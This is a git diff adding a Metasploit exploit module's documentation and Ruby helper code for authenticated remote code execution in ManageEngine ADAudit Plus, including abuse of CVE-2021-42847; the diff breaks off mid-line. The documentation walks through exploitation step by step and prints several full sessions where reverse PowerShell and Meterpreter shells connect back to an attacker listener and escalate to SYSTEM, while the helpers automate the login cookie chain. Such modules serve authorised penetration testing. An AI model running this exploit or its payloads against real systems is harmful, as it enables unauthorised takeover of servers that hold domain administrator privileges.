diff --git a/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md new file mode 100644 index 0000000000..587ac65f80 --- /dev/null +++ b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md @@ -0,0 +1,467 @@ +## Vulnerable Application +This module exploits security issues in ManageEngine ADAudit Plus prior to 7006 that allow authenticated users to execute arbitrary code +by creating a custom alert profile and leveraging the custom alert script component. + +This module first runs a few checks to test the provided credentials, retrieve the configured domain(s), and +obtain the build number of ManageEngine. If the credentials are valid and the target is vulnerable, the module +creates an alert profile that will be triggered for any failed login attempt to the configured domain. + +For versions prior to build 7004, the payload is directly inserted in the custom alert script component of the alert profile. + +For builds 7004 and 7005, the module leverages an arbitrary file write vulnerability (CVE-2021-42847) to create a Powershell script +in the `alert_scripts` directory that contains the payload. Note that this directory will be located under the +ADAudit Plus installation directory. The name of this script is then provided as the value for the +custom alert script component of the alert profile. For these builds, Meterpreter payloads such as +`cmd/windows/powershell/meterpreter/reverse_tcp` do not seem to work and only the `cmd/windows/powershell_reverse_tcp` +payload has been tested successfully. + +This module will automatically delete the created alert profile before completing. This happens even if no shell was obtained. + +It should be noted that during a single run, the module will typically authenticate to the target several times. +This is because ADAudit Plus is very strict about cookies. After a user performs a successful authentication request, +the server sends a cookie that can be used to visit the dashboard. However, in order to interact with most of the API +endpoints, the user must then perform a request to `api/json/configuredDomainsList`. Only then does the server return a +cookie that can be used to interact with other endpoints. If the above requests are not performed in this exact order, +or additional requests are performed before the final cookie is obtained, the entire authentication chain needs to be repeated. + +This module requires valid credentials for an account with the privileges to create alert scripts. +It has been successfully tested against ManageEngine ADAudit Plus builds +[7003](https://archives2.manageengine.com/active-directory-audit/7003/ManageEngine_ADAudit_Plus_x64.exe) and +[7005](https://archives2.manageengine.com/active-directory-audit/7005/ManageEngine_ADAudit_Plus_x64.exe) running on Windows Server 2012 R2. + +Successful exploitation will result in RCE as the user running ManageEngine ADAudit Plus, which will typically be the local administrator. + +Note that exploitation may require a few attempts before a shell is returned. This is because there may be a delay before +ManageEngine AdAudit Plus will properly fetch and process the alert which has been triggered. It is advisable to try a few +times, wait a bit, and then try again if you haven't gotten a shell. + +## Installation Information +Vulnerable versions of ADAudit Plus are available [here](https://archives2.manageengine.com/active-directory-audit/). +Versions 7005 and prior are vulnerable by default, so no special configuration is required after installing the application. + +After running the installer, you can launch ADAudit Plus by opening a command prompt with administrator privileges +and then running: `\bin\run.bat`. This will typically be at a location like `C:\Program Files\ManageEngine\ADAudit Plus\bin`. +Note that you may be asked to accept a license agreement and then be prompted for a license to use. Choose the Evaluation +license if this is the case. Note that targets running the Free license will not be able to be exploited due to limitations +imposed by the Free license on how often updates are retrieved. + +Once this done, log into ADAudit Plus with the default credentials (set as default options for the module), aka `admin`:`admin`. +If the prompt `Default Domain Controllers Policy not configured` appears, click on the Configure link that appears to have +it configure the GPO Policy automatically for you. + +Then go to notifications and check for one that says `Product Not Installed As Service` and click on `Install Now`. Once +this is done open `Group Policy Management` on the domain controller and go to Forest->Domains->Select your domain-> +Default Domain Policy and right click on it then click `Edit`. + +Select Computer Configuration->Policies->Windows Settings->Security Settings->Advanced Audit Policy Configuration-> +Audit Policies->Logon/Logoff and set `Audit Logoff`, `Audit Logon`, `Audit Special Logon` and `Audit Other Logon/Logoff Events` +and check the `Configure the following audit events` box as well as the `Success` and `Failure` boxes beneath those. + +Finally log out of the web portal. You should be able to run the module now. + +## Verification Steps +1. Start msfconsole +2. Do: `use exploit/windows/http/manageengine_adaudit_plus_authenticated_rce` +3. Do: `set RHOSTS [IP]` +4. Do: `set LHOST [IP]` +5. Do: `set USERNAME [username]` +6. Do: `set PASSWORD [password]` +7. Do: `exploit` +8. Verify you get a shell on the target machine as the user running ManageEngine ADAudit Plus. + +## Options +### AUTH_DOMAIN +The ADAudit Plus authentication domain to use. The default is `ADAuditPlus Authentication`. If the provided domain +does not match an authentication domain that is configured for the target, the module will throw an error and inform the user. + +### USERNAME +Username to authenticate with. The default is `admin`, which matches the default ADAudit Plus credentials. + +### PASSWORD +Password to authenticate with. The default is `admin`, which matches the default ADAudit Plus credentials. + +## Scenarios +### ManageEngine ADAudit Plus build 7003 running on Windows Server 2012 R2 +``` +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > options + +Module options (exploit/windows/http/manageengine_adaudit_plus_authenticated_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + AUTH_DOMAIN ADAuditPlus Authentication yes ADAudit Plus authentication domain (default is ADAuditPlus Authentication) + PASSWORD admin yes Password to authenticate with + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.91.250 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit + RPORT 8081 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to ManageEngine ADAudit Plus + USERNAME admin yes Username to authenticate with + VHOST no HTTP server virtual host + + +Payload options (cmd/windows/powershell_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.91.195 yes The listen address (an interface may be specified) + LOAD_MODULES no A list of powershell modules separated by a comma to download over the web + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Windows Command + + +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > run + +[*] Started reverse TCP handler on 192.168.91.195:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Using configured authentication domain alias LIES. +[*] Trying to authenticate... +[*] Found 1 configured domain(s): +[*] - LIES.local: LIES.local +[+] Successfully authenticated +[+] The target appears to be vulnerable. The target is ADAudit Plus 7003 +[*] Attempting to create an alert profile +[+] Successfully created alert profile UiYnupjyi24 +[*] Attempting to trigger the payload via an authentication attempt for domain LIES using incorrect credentials. +[*] Trigger attempt completed. Let's hope we get a shell... +[*] Powershell session session 1 opened (192.168.91.195:4444 -> 192.168.91.250:54442) at 2022-10-12 12:09:43 +0300 +[*] Powershell session session 2 opened (192.168.91.195:4444 -> 192.168.91.250:54441) at 2022-10-12 12:09:43 +0300 +[*] Attempting to delete alert UiYnupjyi24 +[+] Successfully deleted alert UiYnupjyi24 + +PS C:\Program Files\ManageEngine\ADAudit Plus\bin>whoami +lies\administrator +PS C:\Program Files\ManageEngine\ADAudit Plus\bin> +``` + +### ManageEngine ADAudit Plus build 7005 running on Windows Server 2012 R2 +``` +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > run + +[*] Started reverse TCP handler on 192.168.91.195:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Using configured authentication domain alias LIES. +[*] Trying to authenticate... +[*] Found 1 configured domain(s): +[*] - LIES.local: LIES.local +[+] Successfully authenticated +[+] The target appears to be vulnerable. The target is ADAudit Plus 7005 and the endpoint for CVE-2021-42847 exists. +[*] Attempting to authenticate again in order to retrieve the required cookies. +[*] Attempting to create an alert profile +[*] Attempting to write the payload to /alert_scripts/mwlhr.ps1 +[+] Successfully wrote the payload to /alert_scripts/mwlhr.ps1 in the ManageEngine ADAudit Plus install directory +[+] Successfully created alert profile dVmy0Ygz +[*] Attempting to trigger the payload via an authentication attempt for domain LIES using incorrect credentials. +[*] Trigger attempt completed. Let's hope we get a shell... +[!] Make sure to manually cleanup the mwlhr.ps1 file from /alert_scripts/ in the ManageEngine ADAudit Plus install directory +[*] Powershell session session 1 opened (192.168.91.195:4444 -> 192.168.91.250:41348) at 2022-10-12 12:59:28 +0300 +[*] Powershell session session 2 opened (192.168.91.195:4444 -> 192.168.91.250:41347) at 2022-10-12 12:59:28 +0300 +[*] Attempting to delete alert profile dVmy0Ygz +[+] Successfully deleted profile alert dVmy0Ygz + +PS C:\Program Files\ManageEngine\ADAudit Plus\bin>whoami +lies\administrator +PS C:\Program Files\ManageEngine\ADAudit Plus\bin> +``` + +### ManageEngine ADAudit Plus build 6077 running on Windows Server 2022 - Powershell Payload +``` +msf6 > use exploit/windows/http/manageengine_adaudit_plus_authenticated_rce +[*] Using configured payload cmd/windows/powershell_reverse_tcp +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set RHOSTS 192.168.204.132 +RHOSTS => 192.168.204.132 +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set LHOST 192.168.204.128 +LHOST => 192.168.204.128 +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > show options + +Module options (exploit/windows/http/manageengine_adaudit_plus_authenticated_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + AUTH_DOMAIN ADAuditPlus Authentication yes ADAudit Plus authentication domain (default is ADAuditPlus Authentication) + PASSWORD admin yes Password to authenticate with + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.204.132 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8081 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to ManageEngine ADAudit Plus + USERNAME admin yes Username to authenticate with + VHOST no HTTP server virtual host + + +Payload options (cmd/windows/powershell_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.204.128 yes The listen address (an interface may be specified) + LOAD_MODULES no A list of powershell modules separated by a comma to download over the web + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Windows Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > check + +[*] Using configured authentication domain alias DAFOREST. +[*] Attempting to authenticate to ADAuditPlus Authentication with username: admin and password: admin +[*] Found 1 configured domain(s): daforest.com +[+] Successfully authenticated +[*] 192.168.204.132:8081 - The target appears to be vulnerable. The target is ADAudit Plus 6077 +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > exploit + +[*] Started reverse TCP handler on 192.168.204.128:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Using configured authentication domain alias DAFOREST. +[*] Attempting to authenticate to ADAuditPlus Authentication with username: admin and password: admin +[*] Found 1 configured domain(s): daforest.com +[+] Successfully authenticated +[+] The target appears to be vulnerable. The target is ADAudit Plus 6077 +[*] Attempting to create an alert profile +[+] Successfully created alert profile fw4hKcxDG +[*] Attempting to trigger the payload via an authentication attempt for domain DAFOREST using incorrect credentials. +[*] Received expected reply when trying to trigger the payload. Let's hope we get a shell... +[*] Powershell session session 2 opened (192.168.204.128:4444 -> 192.168.204.132:62845) at 2023-05-04 19:42:57 -0500 +[*] Powershell session session 1 opened (192.168.204.128:4444 -> 192.168.204.132:62844) at 2023-05-04 19:42:57 -0500 +[*] Attempting to delete alert profile fw4hKcxDG +[+] Successfully deleted alert profile fw4hKcxDG + +PS C:\Program Files\ManageEngine\ADAudit Plus\bin> whoami +daforest\administrator +PS C:\Program Files\ManageEngine\ADAudit Plus\bin> ^X^Z +Background session 2? [y/N] y +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > sessions + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 1 powershell windows Administrator @ WIN-BRSHGJGIDFM 192.168.204.128:4444 -> 192.168.204.132:62844 (192.168.204.132) + 2 powershell windows Administrator @ WIN-BRSHGJGIDFM 192.168.204.128:4444 -> 192.168.204.132:62845 (192.168.204.132) + +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > +``` + +### ManageEngine ADAudit Plus build 6077 running on Windows Server 2022 - Meterpreter Payload +``` +msf6 > use exploit/windows/http/manageengine_adaudit_plus_authenticated_rce +[*] Using configured payload cmd/windows/powershell_reverse_tcp +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set RHOSTS 192.168.204.132 +RHOSTS => 192.168.204.132 +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set LHOST 192.168.204.128 +LHOST => 192.168.204.128 +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > show options + +Module options (exploit/windows/http/manageengine_adaudit_plus_authenticated_rce): + +Name Current Setting Required Description + ---- --------------- -------- ----------- +AUTH_DOMAIN ADAuditPlus Authentication yes ADAudit Plus authentication domain (default is ADAuditPlus Authentication) +PASSWORD admin yes Password to authenticate with +Proxies no A proxy chain of format type:host:port[,type:host:port][...] +RHOSTS 192.168.204.132 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html +RPORT 8081 yes The target port (TCP) +SSL false no Negotiate SSL/TLS for outgoing connections +TARGETURI / yes The base path to ManageEngine ADAudit Plus +USERNAME admin yes Username to authenticate with +VHOST no HTTP server virtual host + + +Payload options (cmd/windows/powershell_reverse_tcp): + +Name Current Setting Required Description + ---- --------------- -------- ----------- +LHOST 192.168.204.128 yes The listen address (an interface may be specified) +LOAD_MODULES no A list of powershell modules separated by a comma to download over the web +LPORT 4444 yes The listen port + + +Exploit target: + +Id Name + -- ---- +0 Windows Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set payload cmd/windows/powershell/x64/meterpreter/reverse_tcp +payload => cmd/windows/powershell/x64/meterpreter/reverse_tcp +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > exploit + +[*] Started reverse TCP handler on 192.168.204.128:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Using configured authentication domain alias DAFOREST. +[*] Attempting to authenticate to ADAuditPlus Authentication with username: admin and password: admin +[*] Found 1 configured domain(s): daforest.com +[+] Successfully authenticated +[+] The target appears to be vulnerable. The target is ADAudit Plus 6077 +[*] Attempting to create an alert profile +[+] Successfully created alert profile iEQnR24qE9n1 +[*] Attempting to trigger the payload via an authentication attempt for domain DAFOREST using incorrect credentials. +[*] Received expected reply when trying to trigger the payload. Let's hope we get a shell... +[*] Sending stage (200774 bytes) to 192.168.204.132 +[*] Sending stage (200774 bytes) to 192.168.204.132 +[-] Failed to load extension: uninitialized constant Rex::Post::Meterpreter::Extensions::Stdapi::Stdapi +WARNING: Local file /home/gwillcox/git/metasploit-framework/data/meterpreter/ext_server_priv.x64.dll is being used +WARNING: Local files may be incompatible with the Metasploit Framework +[!] If the client portion of stdapi or priv fails to load, you can do so manually via 'load stdapi' and/or load priv' +[*] Meterpreter session 4 opened (192.168.204.128:4444 -> 192.168.204.132:62858) at 2023-05-04 19:45:48 -0500 +[*] Attempting to delete alert profile iEQnR24qE9n1 +[*] Meterpreter session 3 opened (192.168.204.128:4444 -> 192.168.204.132:62857) at 2023-05-04 19:45:48 -0500 +[+] Successfully deleted alert profile iEQnR24qE9n1 + +meterpreter > load stdapi +Loading extension stdapi...Success. +meterpreter > load priv +[!] The "priv" extension has already been loaded. +meterpreter > whoami +[-] Unknown command: whoami +meterpreter > getuid +Server username: DAFOREST\Administrator +meterpreter > getprivs + +Enabled Process Privileges +========================== + +Name +---- +SeBackupPrivilege +SeChangeNotifyPrivilege +SeCreateGlobalPrivilege +SeCreatePagefilePrivilege +SeCreateSymbolicLinkPrivilege +SeDebugPrivilege +SeDelegateSessionUserImpersonatePrivilege +SeEnableDelegationPrivilege +SeImpersonatePrivilege +SeIncreaseBasePriorityPrivilege +SeIncreaseQuotaPrivilege +SeIncreaseWorkingSetPrivilege +SeLoadDriverPrivilege +SeMachineAccountPrivilege +SeManageVolumePrivilege +SeProfileSingleProcessPrivilege +SeRemoteShutdownPrivilege +SeRestorePrivilege +SeSecurityPrivilege +SeShutdownPrivilege +SeSystemEnvironmentPrivilege +SeSystemProfilePrivilege +SeSystemtimePrivilege +SeTakeOwnershipPrivilege +SeTimeZonePrivilege +SeUndockPrivilege + +meterpreter > getsystem +...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > +``` + +### ManageEngine ADAudit Plus build 7005 running on Windows Server 2022 - Powershell Payload + +``` +msf6 > use exploit/windows/http/manageengine_adaudit_plus_authenticated_rce +[*] Using configured payload cmd/windows/powershell_reverse_tcp +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set RHOST 192.168.204.136 +RHOST => 192.168.204.136 +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set LHOST 192.168.204.128 +LHOST => 192.168.204.128 +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > show options + +Module options (exploit/windows/http/manageengine_adaudit_plus_authenticated_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + AUTH_DOMAIN ADAuditPlus Authentication yes ADAudit Plus authentication domain (default is ADAuditPlus Authentication) + PASSWORD admin yes Password to authenticate with + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.204.136 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8081 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to ManageEngine ADAudit Plus + USERNAME admin yes Username to authenticate with + VHOST no HTTP server virtual host + + +Payload options (cmd/windows/powershell_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.204.128 yes The listen address (an interface may be specified) + LOAD_MODULES no A list of powershell modules separated by a comma to download over the web + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Windows Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > exploit + +[*] Started reverse TCP handler on 192.168.204.128:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Using configured authentication domain alias DAFOREST. +[*] Attempting to authenticate to ADAuditPlus Authentication with username: admin and password: admin +[*] Found 1 configured domain(s): daforest.com +[+] Successfully authenticated +[+] The target appears to be vulnerable. The target is ADAudit Plus 7005 and the endpoint for CVE-2021-42847 exists. +[*] Attempting to authenticate again in order to retrieve the required cookies. +[*] Attempting to create an alert profile +[*] Attempting to write the payload to /alert_scripts/akbgtwuva.ps1 +[+] Successfully wrote the payload to /alert_scripts/akbgtwuva.ps1 in the ManageEngine ADAudit Plus install directory +[+] Successfully created alert profile VA8dDG52p5 +[*] Attempting to trigger the payload via an authentication attempt for domain DAFOREST using incorrect credentials. +[*] Received expected reply when trying to trigger the payload. Let's hope we get a shell... +[!] Make sure to manually cleanup the akbgtwuva.ps1 file from /alert_scripts/ in the ManageEngine ADAudit Plus install directory +[*] Powershell session session 2 opened (192.168.204.128:4444 -> 192.168.204.136:53465) at 2023-05-08 12:01:55 -0500 +[*] Powershell session session 1 opened (192.168.204.128:4444 -> 192.168.204.136:53464) at 2023-05-08 12:01:55 -0500 +[*] Attempting to delete alert profile VA8dDG52p5 +[+] Successfully deleted alert profile VA8dDG52p5 + +PS C:\Program Files\ManageEngine\ADAudit Plus\bin> whoami +daforest\administrator +PS C:\Program Files\ManageEngine\ADAudit Plus\bin> pwd + +Path +---- +C:\Program Files\ManageEngine\ADAudit Plus\bin + + +PS C:\Program Files\ManageEngine\ADAudit Plus\bin> ^Z +Background session 2? [y/N] y +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > sessions + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 1 powershell windows Administrator @ WIN-BRSHGJGIDFM 192.168.204.128:4444 -> 192.168.204.136:53464 (192.168.204.136) + 2 powershell windows Administrator @ WIN-BRSHGJGIDFM 192.168.204.128:4444 -> 192.168.204.136:53465 (192.168.204.136) + +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > +``` diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus.rb new file mode 100644 index 0000000000..7b95c0bdff --- /dev/null +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus.rb @@ -0,0 +1,30 @@ +module Msf + class Exploit + class Remote + module HTTP + # This module provides a way of interacting with ManageEngine ADAudit Plus installations + module ManageEngineAdauditPlus + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::JsonPostData + include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login + include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes + include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo + include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::URIs + + def initialize(info = {}) + super + + register_options( + [ + Msf::OptString.new('TARGETURI', [true, 'The base path to the ManageEngine ADAudit Plus application', '/']), + Msf::OptString.new('USERNAME', [false, 'Username to authenticate with', 'admin']), + Msf::OptString.new('PASSWORD', [false, 'Password to authenticate with', 'admin']), + + ], Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus + ) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/json_post_data.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/json_post_data.rb new file mode 100644 index 0000000000..fd6badd95b --- /dev/null +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/json_post_data.rb @@ -0,0 +1,44 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::JsonPostData + # Generates a JSON hash according to the format required by the GPOWatcherData endpoint + # + # @param options [Hash] Hash containing parameters to include in the JSON hash. + # @option options [Boolean] :isGPOData Is the data GPO data? This is set to true if so, otherwise its set to false. + # @option options [String] :DOMAIN_NAME Name of the domain being targeted. + # @option options [String] :GPO_GUID The GPO GUID to use. + # @option options [Integer] :GPO_VERSION The version number of the GPO GUID in use, or a random number from 1 to 9 if one is not supplied. + # @option options [String] :VER_FILE_NAME The version file name in a format that matches ADAudit Plus's VER_FILE_NAME format. + # @option options [String] :xmlReport An XML string containing the header to use for the report. + # @option options [String] :Html_fileName The filename to use for the post request if provided. + # @option options [String] :htmlReport The location to save the HTML report if provided. + # @return [String] A string representation of the JSON hash matching the + # format required by the GPOWatcherData endpoint. Will be an empty string + # if the options param is invalid. + def generate_gpo_watcher_data_json(options) + post_data = {} + return post_data.to_json unless options.is_a?(Hash) + + post_data['isGPOData'] = options['isGPOData'] || true + post_data['DOMAIN_NAME'] = options['DOMAIN_NAME'] || '' + post_data['GPO_GUID'] = options['GPO_GUID'] || Rex::Proto::MsDtyp::MsDtypGuid.random_generate + post_data['GPO_VERSION'] = options['GPO_VERSION'] || rand(1..9) + post_data['VER_FILE_NAME'] = options['VER_FILE_NAME'] || generate_ver_file_name + post_data['xmlReport'] = options['xmlReport'] || '' + + html_fileName = options['Html_fileName'] + post_data['Html_fileName'] = html_fileName if html_fileName + + html_report = options['htmlReport'] + post_data['htmlReport'] = html_report if html_report + + post_data.to_json + end + + # Returns a String matching the VER_FILE_NAME format used by ADAudit Plus + # + # @return [String] Randomly generated String matching the the VER_FILE_NAME format used by ADAudit Plus + def generate_ver_file_name + "#{rand(1..9)}_#{Rex::Text.rand_text_alphanumeric(18)}".downcase + '.xml' + end +end diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb new file mode 100644 index 0000000000..71c9080045 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb @@ -0,0 +1,150 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes + include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo + include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::URIs + + # Performs a ManageEngine ADAudit Plus login. + # + # @param auth_domain [String] The authentication domain to use to log in. + # @param user [String] The username to log in as. + # @param pass [String] The password to log in with. + # @param only_get_cookie [Boolean] If this is set to true, then this method will only try to obtain an + # 'adapcsrf' cookie that is required to perform API calls. + # @return [Hash] Hash containing a `status` key, which is used to hold a + # status value as an Integer value, a `message` key, which is used + # to hold a message associated with the status value as a String. May optionally + # contain an `adapcsrf_cookie` key which maps to a String containing the + # adapcsrf cookie to be used for authentication purposes, and/or a + # `configured_domains` key which maps to an Array of Strings, + # each containing a domain name that has been configured to be used by + # the ManageEngine ADAudit Plus target. + def adaudit_plus_login(auth_domain, user = '', pass = '', only_get_cookie = false) + cookie_jar.clear # let's start fresh + + # Visit the default homepage to retrieve some of the baseline cookies needed to authenticate. + res_initial_cookies = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET', + 'keep_cookies' => true + }) + + unless res_initial_cookies + return { + 'status' => adaudit_plus_status::CONNECTION_FAILED, + 'message' => 'Connection failed.' + } + end + + # Make sure the target is actually ManageEngine ADAudit Plus + unless res_initial_cookies.code == 200 && res_initial_cookies.body =~ /ADAudit Plus/ + return { + 'status' => adaudit_plus_status::UNEXPECTED_REPLY, + 'message' => 'Target does not seem to be ADAudit Plus.' + } + end + + # Check if we have an initial adapcsrf cookie with the expected format + unless res_initial_cookies.headers.include?('Set-Cookie') && res_initial_cookies.get_cookies =~ /adapcsrf=[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}/ + return { + 'status' => adaudit_plus_status::UNEXPECTED_REPLY, + 'message' => 'Failed to obtain the baseline cookies needed to proceed with authentication.' + } + end + + # Visit the adaudit_plus_jump_to_js_uri page to grab more cookies needed for authentication. + vprint_status('Attempting to obtain the required cookies for authentication') + + res_extra_cookies = send_request_cgi({ + 'uri' => adaudit_plus_jump_to_js_uri, + 'method' => 'GET', + 'keep_cookies' => true + }) + + unless res_extra_cookies + return { + 'status' => adaudit_plus_status::CONNECTION_FAILED, + 'message' => 'Connection failed.' + } + end + + # check if we have a new adapcsrf cookie with the expected format, which is different + # from the initial adapcsrf cookie format that we got before visiting the adaudit_plus_jump_to_js_uri URI. + unless res_extra_cookies.code == 200 && res_extra_cookies.headers.include?('Set-Cookie') && res_extra_cookies.get_cookies =~ /adapcsrf=[a-f0-9]{128}/ + return { + 'status' => adaudit_plus_status::UNEXPECTED_REPLY, + 'message' => 'Failed to obtain the jump_to_js cookies required for authentication.' + } + end + + vprint_status('Trying to authenticate...') + post_vars = { + 'forChecking' => '', + 'j_username' => user.to_s, + 'j_password' => pass.to_s, + 'domainName' => auth_domain.to_s, + 'AUTHRULE_NAME' => 'Authenticator' + } + + res_login = send_request_cgi({ + 'uri' => adaudit_plus_login_uri, + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => post_vars + }) + + # Check to see if the connection succeeded. + return { + 'status' => adaudit_plus_status::CONNECTION_FAILED, + 'message' => 'Connection failed' + } unless res_login + + # Check to see if we got the right response code and the expected cookies. + unless res_login.code == 303 && res_login.headers.include?('Set-Cookie') + # Matches something like JSESSIONIDADAP=50E42FBF96E820A6099A1F38FA5A4854; JSESSIONIDADAPSSO=7EB091F6BB9A7A4C4476419DFC11E2A1; + # Or this JSESSIONIDADAP=50E42FBF96E820A6099A1F38FA5A4854; JSESSIONIDSSO=7EB091F6BB9A7A4C4476419DFC11E2A1; + # Or even this JSESSIONIDADAP=50E42FBF96E820A6099A1F38FA5A4854; JSESSIONIDSSO=7EB091F6BB9A7A4C4476419DFC11E2A1 + unless res_login.get_cookies =~ /(?:JSESSIONID[A-Z].*?=[0-9A-Z]{32};{0,1} {0,1}){2}/ + return { + 'status' => adaudit_plus_status::NO_ACCESS, + 'message' => 'Failed to authenticate.' + } + end + end + + # Check if we are actually logged in by visiting the home page. + res_post_auth = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET', + 'keep_cookies' => true + }) + + return { + 'status' => adaudit_plus_status::CONNECTION_FAILED, + 'message' => 'Connection failed' + } unless res_post_auth + + unless res_post_auth.code == 200 && res_post_auth.body.include?('ManageEngine ADAudit Plus web client is initializing') + return { + 'status' => adaudit_plus_status::NO_ACCESS, + 'message' => 'The web app failed to load after authenticating' + } + end + + # Return the value of the adapcsrf cookie, which will be required for later actions. + adapcsrf_cookie = cookie_jar.cookies.select { |k| k.name == 'adapcsrf' }&.first + if adapcsrf_cookie.blank? || adapcsrf_cookie.value.blank? + return { + 'status' => adaudit_plus_status::NO_ACCESS, + 'message' => 'Failed to obtain the required adapcsrf cookie' + } + end + + # In order to get a cookie we can actually use, we need to obtain the configured domains via the API, + # so we will call adaudit_plus_grab_configured_domains to retrieve this information for us. + # Note that adaudit_plus_obtain_configured_domains uses the same return format as this method. + adaudit_plus_grab_configured_domains(adapcsrf_cookie.value, only_get_cookie) + end +end diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/status_codes.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/status_codes.rb new file mode 100644 index 0000000000..12fbbb7d7d --- /dev/null +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/status_codes.rb @@ -0,0 +1,16 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes + SUCCESS = 0 + CONNECTION_FAILED = 1 + UNEXPECTED_REPLY = 2 + NO_ACCESS = 3 + NO_DOMAINS = 4 + NO_BUILD_NUMBER = 5 + + # Alias for Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes + # @return [Module] Returns the Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes module reference. + def adaudit_plus_status + Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes + end +end diff --git 